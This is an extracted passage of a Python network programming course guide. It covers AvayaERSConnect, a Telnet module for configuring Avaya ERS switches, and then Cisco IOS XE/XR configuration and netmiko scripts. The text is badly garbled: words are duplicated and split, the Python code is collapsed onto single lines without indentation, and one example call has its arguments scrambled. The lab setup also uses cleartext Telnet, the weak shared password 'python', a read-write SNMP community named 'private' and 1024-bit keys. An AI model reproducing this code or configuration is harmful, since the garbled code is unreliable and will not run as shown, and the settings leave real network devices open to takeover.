AvayaERSConnect’s main purpose is to connect to any Avaya ERS Device via Telnet and perform various administration operations easily, without the need to write any Python code at all.
The main prerequisites wh en using th is mod ule are: are:
-
Running it inside a Linux host / virtual machine is highly recommended.
- Running it inside the Python interpreter, after importing it: import AvayaERSCon Av ayaERSConnec nectt -
IP connectivity from the host / virtual machine to the Avaya ERS device(s)
-
Mandatory: Telnet connectivity should be enabled on each device, using the “cli password telnet local” command, in the Global Configuration mode. Page 108 of 185
109
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
Default Avaya credentials for read and write via Telnet are: username: RW , password: securepasswd
Supported Avaya ERS ERS platform s: -
Avaya ERS 25xx (all models)
-
Avaya ERS 35xx (all models)
-
Avaya ERS 45xx (all models)
-
Avaya ERS 48xx (all models)
-
Avaya ERS 55xx (all models)
-
Avaya ERS 56xx (all models)
-
Avaya ERS 59xx (all models)
AvayaERSCon Av ayaERSConnec nectt usab u sable le f unct un ctio io ns: ns : - ReadConfig(ip, ReadConfig (ip, username, password, show_command, to_file = True, to_screen = False) -
SendConfig (ip, cmd_file, username, password, save_config = True)
-
SendConfigToMultiDev (username, password, save_config = True)
ReadConfig() The ReadConfig() function in AvayaERSConnect is responsible for connecting to an Avaya device via Telnet, sending a “show” command that the user specifies as an argument and capturing and storing the output of that command. This command should be invoked in the Python interpreter, after importing the AvayaERSConfig module.
Page 109 of 185
110
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
The format:
ReadConfig(ip, username, password, show_command, to_file = True, to_screen = False)
Note: Note: Please follow the exact order of arguments (as shown above) when calling the function!
Example:
>>> import AvayaERSConnect >>> AvayaERSConnect.ReadConfig("172.16.1.1", "RW", "securepasswd", "show vlan", to_file = True, to_screen = False)
Output was written to SwitchOne_show_vlan.txt.
Main features and requirements for ReadConfig(): -
Prepend the function name with “AvayaERSConnect.” when calling it.
- The first argument is the IP address of the device you want to read from, in between double quotes. - The second argument is the Telnet username for logging into the device. This will be “RW” if you leave it at default. “cli password telnet local” should be configured on the device, prior to running the ReadConfig() function. -
The third argument is the Telnet password for logging into the device. This will be “securepasswd” if you leave it at default. “cli password telnet local” should be configured on the device, prior to running the ReadConfig() function. Page 110 of 185
111
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
-
The fourth argument is the “show” command you want to send to the device.
-
The “to_file” argument can be set to either True or False.
- The “to_screen” argument can be set to either True or False. When set to True, the command output is printed on the screen, in the Python interpreter. - If both “to_file” and “to_screen” are set s et to True, the output will be both stored in an external file and printed to the screen. If both are set to False, nothing happens.
Writing th e output to a file using the to_file argument: -
If you set to_fil e = False, False , the output is not saved to a file.
- If you set to_file = True , then the output of the “show” command is stored inside a file in the current directory, which is going to be automatically named following this format: Hostname_Command.txt . This is useful when querying multiple devices, one by one.
Example:
SwitchOne(confi SwitchOne(confi g)#cli g)#cli p assword t elnet local
>>> import AvayaERSConnect >>> AvayaERSConnect.ReadConfig("172.16.1.1", "RW", "securepasswd", "show vlan", to_file = True, to_screen = False)
Output was written to SwitchOne_show_vlan.txt.
Page 111 of 185
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
112
root@kali:/home# cat SwitchOne_show_vlan.txt SwitchOne_show_vlan.txt Id Name
Type
Protocol
PID
Active IVL/SVL Mgmt
---- -------------------- -------- ---------------- ------- ------ ------- ---1
VLAN #1
Port
None
0x0000 Yes
IVL
Yes
None
0x0000 Yes
IVL
No
None
0x0000 Yes
IVL
No
Port Members: ALL 2
VLAN #2
Port
Port Members: NONE 3
VLAN #3
Port
Port Members: NONE 4
VLAN #4
Protocol Ipv6 Ether2
0x86dd Yes
IVL
No
Port Members: NONE 55 VLAN #55
Port
None
0x0000 Yes
IVL
No
None
0x0000 Yes
IVL
No
Port Members: NONE 77 VLAN #77
Port
Port Members: NONE
The ReadConfig() function returns a customized error message and quits execution if: -
Invalid commands are sent to the device
-
Incorrect device IP address, username or password are used
-
The device IP address is unreachable
-
The user types the Ctrl+C sequence
Page 112 of 185
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
113
SendConfig() The SendConfig() function in AvayaERSConnect is responsible for connecting to an Avaya device device via Telnet, Telnet, sending configurati configuration on commands stored in an external external text text file, each specified one per line. In the function call, you can also specify whether you want the configuration you just made to be saved to the device’s NVRAM. This command should be invoked in the Python interpreter, after importing the AvayaERSConfig module.
The format:
SendConfig(ip, cmd_file, username, password, save_config = True)
Note: Note: Please follow the exact order of arguments (as shown above) when calling the function!
Example:
SwitchOne(config SwitchOne(config )#show )#show vlan Id Name
Type
Protocol
PID
Active IVL/SVL Mgmt
---- -------------------- -------- ---------------- ------- ------ ------- ---1
VLAN #1
Port
None
0x0000 Yes
Port Members: ALL Total VLANs: 1
root@kali:/home# cat avayatestcm avayatestcm d.txt vlan create 100 type port vlan create 101 type proto Page 113 of 185
IVL
Yes
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
114
vlan create 102 type port
>>> import AvayaERSConnect >>> AvayaERSConnect.SendConfig("172.16.1.1", "securepasswd", save_config = True)
"avayatestcmd.txt",
"RW",
Configuration was saved to NVRAM.
SwitchOne(config SwitchOne(config )#show )#show vlan Id Name
Type
Protocol
PID
Active IVL/SVL Mgmt
---- -------------------- -------- ---------------- ------- ------ ------- ---1
VLAN #1
Port
None
0x0000 Yes
IVL
Yes
Port Members: ALL 100 VLAN #100
Port
None
0x0000 Yes
IVL
No
Port Members: NONE 101 VLAN #101
Protocol Ipv6 Ether2
0x86dd Yes
IVL I VL
No
Port Members: NONE 102 VLAN #102
Port
None
0x0000 Yes
IVL
No
Port Members: NONE Total VLANs: 4
Main Main features and requirements for SendConfig(): SendConfig(): -
AvayaERSConnect. t. ” when calling it. Prepend the function name with “ AvayaERSConnec
- The first argument is the IP address of the device you want to write commands to, in between double quotes. Page 114 of 185
115
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
- The second argument is the filename (+ extension) in which the configuration commands are stored, in between double quotes. - The third argument is the Telnet username for logging into the device. This will be “RW” if you le ave it at default. “cli password telnet local” should be configured on the device, prior to running the SendConfig() function. -
The fourth argument is the Telnet password for logging into the device. This will be “securepasswd” if you leave it at default. “cli password telnet local” should be configured on the device, prior to running the SendConfig() function. -
The “save_config” argument can be set to either True or False.
Saving the configuration to NVRAM (configuration is kept across reboot, when autosave is disabled on t he device) using the save_config save_config argum ent:
- If you set save_config = False, False , the configuration is not saved to NVRAM (the configuration may be lost across reboot, if autosave is disab led on the device). -
If you set save_config save_config = True, True , the configuration is saved to NVRAM.
The SendConfig() function returns a customized error message and quits execution if:
-
Telnet login timeout expires (connectivity / network lag / delay issues)
-
Incorrect device IP addresses, username or password are used
-
Invalid filename or inexistent file containing the commands
-
The device IP address is unreachable
-
The user types the Ctrl+C sequence
Page 115 of 185
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
116
SendConfigToMultiDev()
The SendConfigToMultiDev() function in AvayaERSConnect is responsible for connecting to multiple Avaya devices simultaneously via Telnet, sending configuration commands stored in an external text file, specified one per line. In the function call, you can also specify whether you want the configuration you just made to be saved to the device’s NVRAM or not. This command should be invoked in the Python interpreter, after importing the AvayaERSConfig module.
This function uses threading for threading for initiating multiple concurrent sessions to multiple Avaya ERS IP addresses, specified inside an external, dedicated file.
The format:
SendConfigToMultiDev(username, password, save_config = True)
Note: Note: Please follow the exact order of arguments (as shown above) when calling the function!
Example: Let’s consider three Avaya ERS 35xx switches [IPs: 10.105.62.23, 10.105.62.24, 10.105.62.25] :
2.3#show 2.3#show v lan Id Name
Type
Protocol
PID
Active IVL/SVL Mgmt
---- -------------------- -------- ---------------- ------- ------ ------- ---1
VLAN #1
Port
None
0x0000 Yes Page 116 of 185
IVL
Yes
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
117
Port Members: 1/ALL,2/ALL Total VLANs: 1
2.4#show 2.4#show v lan Id Name
Type
Protocol
PID
Active IVL/SVL Mgmt
---- -------------------- -------- ---------------- ------- ------ ------- ---1
VLAN #1
Port
None
0x0000 Yes
Protocol
PID
IVL
Yes
Port Members: ALL Total VLANs: 1
2.5#show 2.5#show v lan Id Name
Type
Active IVL/SVL Mgmt
---- -------------------- -------- ---------------- ------- ------ ------- ---1
VLAN #1
Port
None
0x0000 Yes
IVL
Yes
Port Members: ALL Total VLANs: 1
Let’s create the files we need: one holding the IP addresses and one holding the commands.
root@kali:/home# cat cat avayamultii p.txt 10.105.62.23 10.105.62.24 10.105.62.25
Page 117 of 185
118
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
root@kali-teo:/home# root@kali-teo:/home# cat avayamulticm avayamulticm d.txt vlan create 77 type port vlan create 88 type port vlan create 99 type port
Let’s run the function in the Python interpreter.
>>> import AvayaERSConnect >>> AvayaERSConnect.SendConfigToMultiDev("RW", "securepasswd", save_config = True) Enter IP file name and extension: avayamultiip.txt
Checking IP reachability...
All devices devices are reachable. reachable. Waiting for command file...
Enter command file name and extension: avayamulticmd.txt
Commands file was found.
Configuration was saved to NVRAM. Configuration was saved to NVRAM. Configuration was saved to NVRAM.
Page 118 of 185
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
119
99 should have been Let’s verify the configuration on the three switches - vlans 77, 88, 99 should configured.
2.3#show 2.3#show v lan Id Name
Type
Protocol
PID
Active IVL/SVL Mgmt
---- -------------------- -------- ---------------- ------- ------ ------- ---1
VLAN #1
Port
None
0x0000 Yes
IVL
Yes
Port Members: 1/ALL,2/ALL 77 VLAN #77
Port
None
0x0000 Yes
IVL
No
None
0x0000 Yes
IVL
No
None
0x0000 Yes
IVL
No
Port Members: NONE 88 VLAN #88
Port
Port Members: NONE 99 VLAN #99
Port
Port Members: NONE Total VLANs: 4
2.4#show 2.4#show v lan Id Name
Type
Protocol
PID
Active IVL/SVL Mgmt
---- -------------------- -------- ---------------- ------- ------ ------- ---1
VLAN #1
Port
None
0x0000 Yes
IVL
Yes
Port Members: ALL 77 VLAN #77
Port
None
0x0000 Yes
IVL
No
None
0x0000 Yes
IVL
No
Port Members: NONE 88 VLAN #88
Port
Page 119 of 185
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
120
Port Members: NONE 99 VLAN #99
Port
None
0x0000 Yes
IVL
No
Port Members: NONE Total VLANs: 4
2.5#show 2.5#show v lan Id Name
Type
Protocol
PID
Active IVL/SVL Mgmt
---- -------------------- -------- ---------------- ------- ------ ------- ---1
VLAN #1
Port
None
0x0000 Yes
IVL
Yes
Port Members: ALL 77 VLAN #77
Port
None
0x0000 Yes
IVL
No
None
0x0000 Yes
IVL
No
None
0x0000 Yes
IVL
No
Port Members: NONE 88 VLAN #88
Port
Port Members: NONE 99 VLAN #99
Port
Port Members: NONE Total VLANs: 4
Main Main features and r equirements f or SendConfigToMultiDev( SendConfigToMultiDev(): ): -
AvayaERSConnect. t. ” when calling it. Prepend the function name with “ AvayaERSConnec
- The first argument is the Telnet username for logging into the device. This will be “RW” if you leave it at default. “cli password telnet local” should be configured on the device, prior to running the SendConfigToMultiDev() function. - The second argument is the Telnet password for logging into the device. This will be “securepasswd” if you leave it at default. “cli password telnet local” should be configured on the device, prior to running the SendConfigToMultiDev() Page 120 of 185
121
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
function. -
The “save_config” argument can be set to either True or False.
- Other necessary arguments are automatically picked up by calling the SendConfig() function from within the SaveConfigToMultiDev() function.
Saving the configuration to NVRAM (configuration is kept across reboot, when autosave is disabled on t he device) using the save_config save_config argum ent: - If you set save_config = False, False , the configuration is not saved to NVRAM (the configuration may be lost across reboot, if autosave is disab led on the device). -
If you set save_config save_config = True, True , the configuration is saved to NVRAM.
The SendConfigToMultiDev() function returns a customized error message and quits execution if:
-
Telnet login timeout expires (connectivity issue)
-
Incorrect device IP addresses, username or password are used
-
Invalid filename or inexistent file containing the commands
-
The device IP address is unreachable
-
The user types the Ctrl+C sequence
Note: Other Note: Other functions in the AvayaERSConnect.py file take care of checking IP format validity, IP reachability and commands file path corectness. These functions are not to be used directly in the Python interpreter.
Page 121 of 185
122
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
3.5.2.2. The AvayaERSConnect code
#!/usr/bin/env #!/usr/bin/env python ###AVAYA TELNETTING### TELNETTING### #Importing the necessary modules import telnetlib import subprocess import threading import os.path import logging import time import sys import re #Checking IP address validity def IpIsValidReach(): check = False global ip_list while True: #Prompting user for input ip_file = raw_input("Enter IP file name and extension: ") #Changing exception message try: #Open user selected file for reading (IP addresses file) selected_ip_file = open(ip_file, 'r') #Starting from the beginning of the file selected_ip_file.seek(0) #Reading each line (IP address) in the file ip_list = selected_ip_file.readlines() #Closing the file selected_ip_file.close() except IOError: print "\nFile %s does not exist! Please check and try again!\n" % ip_file #Checking octets for ip in ip_list: a = ip.split('.')
Page 122 of 185
123
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
if (len(a) == 4) and (1 <= int(a[0]) <= 223) and (int(a[0]) != 127) and (int(a[0]) != 169 or int(a[1]) != 254) and (0 <= int(a[1]) <= 255 and 0 <= int(a[2]) <= 255 and 0 <= int(a[3]) <= 255): check = True break else: print '\n* There was an INVALID IP address! Please check and try again!\n' check = False continue #Evaluating the 'check' flag if check == False: continue elif check == True: break #Checking IP reachability print "\nChecking IP reachability...\n" check2 = False while True: for ip in ip_list: ping_reply = subprocess.call(['ping', '-c', '3', '-w', '3', 'q', '-n', ip], stdout = subprocess.PIPE) if ping_reply == 0: check2 = True continue elif ping_reply == 2: print "\nNo response from device %s." % ip check2 = False break else: print "\nPing to the following device has FAILED:", ip check2 = False break #Evaluating the 'check' flag if check2 == False: print "Please re-check IP address list or device.\n" IpIsValidReach() elif check2 == True: print '\nAll devices are reachable. Waiting for command file...\n' break #Checking command file validity Page 123 of 185
124
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
def CommandFileExists(): global cmd_file while True: cmd_file = raw_input("Enter command file name and extension: ") #Changing exception message if os.path.isfile(cmd_file) == True: print "\nCommands file was found.\n" break else: print "\nFile %s does not exist! Please check and try again!\n" % cmd_file continue
#Open telnet connection to devices and send "show" commands + save to NVRAM option def ReadConfig(ip, username, password, show_command, to_file = True, to_screen = False): #Change exception message try: #Specify the Telnet port (default is 23, anyway) port = 23 #Specify the connection timeout in seconds for blocking operations, like the connection attempt connection_timeout = 5 #Specify a timeout in seconds. Read until the string is found or until the timout has passed reading_timeout = 5 ###DEBUG CODE #print ip #print username #print password #Logging into device connection = telnetlib.Telnet(ip, port, connection_timeout) time.sleep(1) #Sending CTRL+Y to get the prompt connection.write("\x19") time.sleep(1) #Waiting to be asked for an username router_output = connection.read_until("Enter Username:", reading_timeout) #Enter the username when asked and a "\n" for Enter connection.write(username + "\n") time.sleep(1) Page 124 of 185
125
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#Waiting to be asked for a password router_output = connection.read_until("Enter Password:", reading_timeout) #Enter the password when asked and a "\n" for Enter connection.write(password + "\n") time.sleep(1) #Setting terminal length for the entire output - disabling pagination #Useful for reading output connection.write("terminal length 0\n") time.sleep(1) #Setting terminal width for broader output #Useful for reading output connection.write("terminal width 132\n") time.sleep(1) #Sending "show" command connection.write("\n") connection.write(show_command + "\n") time.sleep(25) #Setting 25 seconds delay for longer outputs, like in the case of "show tech" #Reading command output router_output = connection.read_very_eager() ###DEBUG CODE #print to_file #print to_screen #print router_output #Getting device hostname from output, for naming the file to which to save the output hostname_regex = re.search(r"(.+?)#show ", router_output) hostname = hostname_regex.group(1) ###DEBUG CODE #print hostname_regex #print hostname #Formatting output to eliminate lines containing the prompt splitting the string by '\n' #Each time, the first 5 lines (indexes 0-4) are the ones we don't want, so they should be eliminated #Also, the prompt is returned once again at the end of the output, so we should eliminate that, too #This means eliminating the final line as well (index -1) nice_router_output = '\n'.join(router_output.split('\n')[5:-1]) #print nice_router_output #Handling invalid commands by searching the output for this string: "'^' marker" Page 125 of 185
126
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
if "'^' marker" in nice_router_output: print "\nInvalid command sent to the device. Please try again.\n" sys.exit() #Handling the to_file parameter if to_file == True: with open(hostname + '_' + show_command.replace(' ', '_') + '.txt', 'w+') as f: f.write(nice_router_output) print "\nOutput was written to %s." % (hostname + '_' + show_command.replace(' show_command.replace(' ', '_') + '.txt') print "\n" elif to_file == False: pass #Handling the to_screen parameter if to_screen == True: print nice_router_output elif to_screen == False: pass ##### resolve with first two functions in file ##### resolve with sendmultidev() #Closing the connection connection.close() except IOError: print "\nInput parameter error! Please check destination IP, username and password.\n" sys.exit() except AttributeError: print "\nInput parameter error! Please check destination IP, username and password.\n" sys.exit() except KeyboardInterrupt: print "\nProgram aborted by user. Exiting...\n" sys.exit()
#Open telnet connection to devices and send config commands + save to NVRAM option def SendConfig(ip, cmd_file, username, password, save_config = True): #Change exception message try: #Specify the Telnet port (default is 23, anyway) port = 23
Page 126 of 185
127
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#Specify the connection timeout in seconds for blocking operations, like the connection attempt connection_timeout = 5 #Specify a timeout in seconds. Read until the string is found or until the timout has passed reading_timeout = 5 ###DEBUG CODE #print ip #print username #print password #Logging into device connection = telnetlib.Telnet(ip, port, connection_timeout) time.sleep(1) #Sending CTRL+Y to get the prompt connection.write("\x19") time.sleep(1) #Waiting to be asked for an username router_output = connection.read_until("Enter Username:", reading_timeout) #Enter the username when asked and a "\n" for Enter connection.write(username + "\n") time.sleep(1) #Waiting to be asked for a password router_output = connection.read_until("Enter Password:", reading_timeout) #Enter the password when asked and a "\n" for Enter connection.write(password + "\n") time.sleep(1) #Verifying if the credentials are correct and properly sent to the device router_output = connection.read_very_eager() if "Incorrect Credentials" in router_output: print "\nIncorrect Credentials. Please check username and password.\n" sys.exit() elif "Telnet Login Timer Expired" in router_output: print "\nTelnet Login Timer Expired. Please check the connection.\n" sys.exit() else: pass #If credentials were correct -> Entering global config mode connection.write("\n") Page 127 of 185
128
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
connection.write("configure terminal\n") time.sleep(1) #Checking if the command(s) file exists (in the current directory when you enter just the file name, without a full path) if os.path.isfile(cmd_file) == True: #Open user selected file for reading selected_cmd_file = open(cmd_file, 'r') #Starting from the beginning of the file selected_cmd_file.seek(0) #Writing each line in the file to the device for each_line in selected_cmd_file.readlines(): #print each_line connection.write(each_line + '\n') time.sleep(1) #Closing the file selected_cmd_file.close() else: print "\nFile %s does not exist! Please check filename or path and try again.\n" % cmd_file sys.exit() ###DEBUG CODE #Test for reading command output #router_output = connection.read_very_eager() #print router_output if save_config == True: #Saving the config to NVRAM connection.write("\n") connection.write("copy config nvram\n") time.sleep(5) print "\nConfiguration was saved to NVRAM.\n" elif save_config == False: print "\nConfiguration was not saved.\n" pass #Closing the connection connection.close() except IOError: print "\nInput parameter error! Please check destination IP, username and password.\n" except KeyboardInterrupt: print "\n\nProgram aborted by user. Exiting...\n" sys.exit()
Page 128 of 185
129
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#Creating threads def SendConfigToMultiDev(username, password, save_config = True): IpIsValidReach() CommandFileExists() threads = [] for ip in ip_list: th = threading.Thread(target = SendConfig, args = (ip, cmd_file, username, password, save_config)) save_config)) #'args' is a tuple th.start() threads.append(th) for th in threads: th.join()
#This code will NOT be executed at import if __name__ == "__main__": #Change exception message try: #Calling IP validity function IpIsValidReach() except KeyboardInterrupt: print "\n\nProgram aborted by user. Exiting...\n" sys.exit() #Change exception message try: #Calling command file validity function CommandFileExists() except KeyboardInterrupt: print "\n\nProgram aborted by user. Exiting...\n" sys.exit() #Calling threads creation function SendConfigToMultiDev()
#End of program
Page 129 of 185
130
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
3.5.3. Avaya ERS Operations - Using An Interactive Script
#Importing the necessary module import AvayaERSConnect #User menu print '\nPlease choose an action:\n\n1 - Read command output from a device\n2 - Send config commands from a file to a device\n3 - Send config commands from a file to multiple devices\n' user_choice = raw_input('\nEnter your choice: ') #Defining actions based on user input if user_choice == '1': #Asking the user for input ip = raw_input('\nEnter the device IP address: ') username = raw_input('\nEnter username for Telnet connection: ') password = raw_input('\nEnter password for Telnet connection: ') show_command = raw_input('\nEnter command to send: ') save = raw_input('\nSave output to file? (y/n) ') screen = raw_input('\nPrint output to screen? (y/n) ') if save == 'y': to_file = True elif save == 'n': to_file = False if screen == 'y': to_screen = True elif screen == 'n': to_screen = False print '\n' AvayaERSConnect.ReadConfig(ip, username, password, show_command, to_file = to_file, to_screen = to_screen) elif user_choice == '2': #Asking the user for input ip = raw_input('\nEnter the device IP address: ') cmd_file = raw_input('\nEnter filename and extension: ') username = raw_input('\nEnter username for Telnet connection: ') Page 130 of 185
131
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
password = raw_input('\nEnter password for Telnet connection: ') save = raw_input('\nSave config to device NVRAM? (y/n) ') if save == 'y': save_config = True elif save == 'n': save_config = False print '\n' AvayaERSConnect.SendConfig(ip, cmd_file, username, password, save_config = True) elif user_choice == '3': #Asking the user for input username = raw_input('\nEnter username for Telnet connection: ') password = raw_input('\nEnter password for Telnet connection: ') save = raw_input('\nSave config to device NVRAM? (y/n) ') if save == 'y': save_config = True elif save == 'n': save_config = False print '\n' AvayaERSConnect.SendConfigToMultiDev(username, password, save_config = True) #End Of Program
Page 131 of 185
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
132
3.6. 3.6.1. 1. Config Conf igur urin ing g IP, Remo Remote te Acc ess & SNMP – Cisco IOS XE (full code, cod e, reference: reference: Sectio n 12. Bonus Bon us #1. Cisco Networ k Progr amming ammi ng (IOS XE)) XE))
To allow remote access to your Cisco IOS XE device, you must enter the configuration below.
Please note note that some versions of Cisco IOS XE do not support SSH, so you should make sure you have a SSH-compatible IOS XE version. According to cisco.com: "The Cisco IOS image used must be a k9(crypto) image k9(crypto) image in order to support SSH. For example c3750e-universalk9-tar.122-35.SE5.tar is a k9 (crypto) image."
Here is the configuration you have to make in order to allow remote access. Please enter Global Config Config uration mo de (#configur (#configur e terminal) terminal) before pasting this configuration.
So, to configure an IP address, SSHv2 and SNMP use this configuration:
IP Configu Configu ration: enable configure terminal interface GigabitEthernet 1 ip address 172.16.1.9 255.255.255.0 no shutdown
SSHv2 Configuration: username mihai privilege 15 password python ! hostname IOS-XE
Page 132 of 185
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
133
! line vty 0 4 privilege level 15 login local transport input telnet ssh ! exit ! enable secret python ! ip domain-name mihai ! ip ssh version 2 ip ssh time-out 60 ip ssh authentication-retries 3 ! !When asked How many bits in the modulus [512]: enter 1024 crypto key generate rsa 1024 !
SNMP Configuration: snmp-server community public ro snmp-server community private rw snmp-server enable traps Page 133 of 185
134
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
Checking Configuration: show ip interface brief show ip ssh show snmp
Saving Configuration: copy run start
Saving Configuration to a TFTP Server: copy system:running-config tftp://172.16.1.1/ciscoxe_cfg
Note! Note! Depending on the hardware and software you are using in your network, some commands, command options or command outputs may be slightly different.
Page 134 of 185
135
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
3.6. 3.6.2. 2. Readin Reading g Com mand Output Outp ut - Cisco Cisc o IOS XE XE
#Importing the necessary module(s) from netmiko import ConnectHandler ConnectHandler import time #User menu print '\nPlease choose an action:\n\n1 - Read command output from a single device\n2 - Read command output from multiple devices\n' user_choice = raw_input('\nEnter your choice: ') #Defining actions based on user input if user_choice == '1': #Asking the user for input ip = raw_input('\nEnter the device IP address: ') username = raw_input('\nEnter username for SSHv2 connection: ') password = raw_input('\nEnter password for SSHv2 connection: ') command = raw_input('\nEnter command to send: ') print '\n' session = ConnectHandler(device_type = 'cisco_xe', ip = ip, username = username, password = password) time.sleep(1) session_output = session.send_command(command) time.sleep(1) print '\nNow what?\n\n1 - Print the output to the screen\n2 - Save the output to a file\n' user_choice = raw_input('\nEnter your choice: ') if user_choice == '1': print session_output elif user_choice == '2': filename = raw_input('\nPlease name your file. Example: /home/ubuntu/xe1.txt: /home/ubuntu/xe1.txt: ') #Printing the output to a text file. with open(filename, open(filename, 'a') as f: f.write(session_output) print "\nDone! Check out %s to see the results.\n" % filename Page 135 of 185
136
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
elif user_choice == '2': #Asking the user for input ip = raw_input('\nEnter the device IP addresses separated by comma: ') username = raw_input('\nEnter username for SSHv2 connection: ') password = raw_input('\nEnter password for SSHv2 connection: ') command = raw_input('\nEnter command to send: ') #Storing the device IP addresses as a list dev_list = ip.split(',') #print dev_list print '\nNow what?\n\n1 - Print the output to the screen\n2 - Save the output to a file\n' user_choice = raw_input('\nEnter your choice: ') if user_choice == '1': for ip in dev_list: #Running the code for each device specified by the user session = ConnectHandler(device_type = 'cisco_xe', ip = ip, username = username, password = password) time.sleep(1) session_output = session.send_command(command) time.sleep(1) #Printing the output to the screen print '\n' + session_output + '\n' elif user_choice == '2': filename = raw_input('\nPlease name your file. Example: /home/ubuntu/xe1.txt: /home/ubuntu/xe1.txt: ') for ip in dev_list: #Running the code for each device specified by the user session = ConnectHandler(device_type = 'cisco_xe', ip = ip, username = username, password = password) time.sleep(1) session_output = session.send_command(command) time.sleep(1) #Printing the output to a text file. with open(filename, 'a') as f: f.write('\n' + session_output + '\n') Page 136 of 185
137
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
print "\nDone! Check out %s to see the results.\n" % filename #For using this application on other networking vendors, just replace device_type = 'cisco_xe' with any of the following: #device_type #device_type = 'cisco_ios' #device_type #device_type = 'juniper' #device_type = 'arista_eos' #End of Program
3.6. 3.6.3. 3. Config Conf ig urin ur ing g Devices Devic es - Cisco Cisc o IOS XE
#Importing the necessary module(s) from netmiko import ConnectHandler ConnectHandler import sys #User menu print '\nMake sure you have an username and password and SSHv2 enabled on the device(s)' print '\nPlease choose an action:\n\n1 - Send config commands to a single IOS XE device\n2 - Send config commands to multiple IOS XE devices\n3 Send config commands from a file to a single IOS XE device\n4 - Send config commands from a file to multiple IOS XE devices\n' user_choice = raw_input('\nEnter your choice: ') #Defining actions based on user input if user_choice == '1': #Asking the user for input ip = raw_input('\nEnter the device IP address: ') username = raw_input('\nEnter username for SSHv2 connection: ') password = raw_input('\nEnter password for SSHv2 connection: ') commands = raw_input('\nEnter commands to send separated by comma: ') print '\n' session = ConnectHandler(device_type = 'cisco_xe', ip = ip, username = username, password = password) session_output = session.send_config_set(commands.split(',')) Page 137 of 185
138
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
print "\nDone! Check out %s to see the results.\n" % ip elif user_choice == '2': #Asking the user for input ip = raw_input('\nEnter the device IP addresses separated by comma: ') username = raw_input('\nEnter username for SSHv2 connection: ') password = raw_input('\nEnter password for SSHv2 connection: ') commands = raw_input('\nEnter commands to send separated by comma: ') print '\n' for ip in ip.split(','): session = ConnectHandler(device_type = 'cisco_xe', ip = ip, username = username, password = password) session_output = session.send_config_set(commands.split(',')) print "\nDone! Check out %s to see the results.\n" % ip elif user_choice == '3': #Asking the user for input ip = raw_input('\nEnter the device IP address: ') username = raw_input('\nEnter username for SSHv2 connection: ') password = raw_input('\nEnter password for SSHv2 connection: ') commands_file = raw_input('\nEnter the filename. Example: /home/ubuntu/cmd.txt: /home/ubuntu/cmd.txt: ') print '\n' session = ConnectHandler(device_type = 'cisco_xe', ip = ip, username = username, password = password) session_output = session.send_config_from_file(commands_file) print "\nDone! Check out %s to see the results.\n" % ip elif user_choice == '4': #Asking the user for input ip = raw_input('\nEnter the device IP addresses separated by comma: ') username = raw_input('\nEnter username for SSHv2 connection: ') password = raw_input('\nEnter password for SSHv2 connection: ')
Page 138 of 185
139
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
commands_file = raw_input('\nEnter the filename. Example: /home/ubuntu/cmd.txt: /home/ubuntu/cmd.txt: ') print '\n' for ip in ip.split(','): session = ConnectHandler(device_type = 'cisco_xe', ip = ip, username = username, password = password) session_output = session.send_config_from_file(commands_file) print "\nDone! Check out %s to see the results.\n" % ip else: print "\nInvalid input. Exiting...\n" sys.exit() #For using this application application on other networking vendors, just replace device_type = 'cisco_xe' with any of the following: #device_type #device_type = 'cisco_ios' #device_type #device_type = 'juniper' #device_type = 'arista_eos' #End of Program
Page 139 of 185
140
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
3.7. 3.7.1. 1. Confi gur ing in g IP, Remo Remote te Access Ac cess & SNMP SNMP – Cisc o IOS XR XR (full code, cod e, reference: reference: Section 13. 13. Bonus #2. Cisc Cisc o Netwo Network rk Prog rammi ng (IOS XR)) XR))
To allow remote access to your Cisco IOS XR device, you must enter the configuration below.
Please note note that some versions of Cisco IOS XR do not support SSH, so you should make sure you have a SSH-compatible IOS XR version. According to cisco.com: "The Cisco IOS image used must be a k9(crypto) image k9(crypto) image in order to support SSH. For example c3750e-universalk9-tar.122-35.SE5.tar is a k9 (crypto) image."
Please note that when using u sing the Cisco Ci sco IOS XR VM (Cisco IOS XRv), you set the username and username and password after the first boot, at an interactive prompt. That prompt is where you should enter your remote login credentials, the ones to use when connecting via SSHv2 (username: (username: mihai , password: password: python - as used throughout this course, or your own credentials).
Here is the configuration you have to make in order to allow remote access. Please enter Global Config Config uration mod e (#configur (#configur e terminal) terminal) before pasting this configuration.
So, to configure an IP address, SSHv2 and SNMP use this configuration:
IP Configu Configu ration: enable configure terminal interface GigabitEthernet 0/0/0/0 ipv4 address 172.16.1.8 255.255.255.0 no shutdown
Page 140 of 185
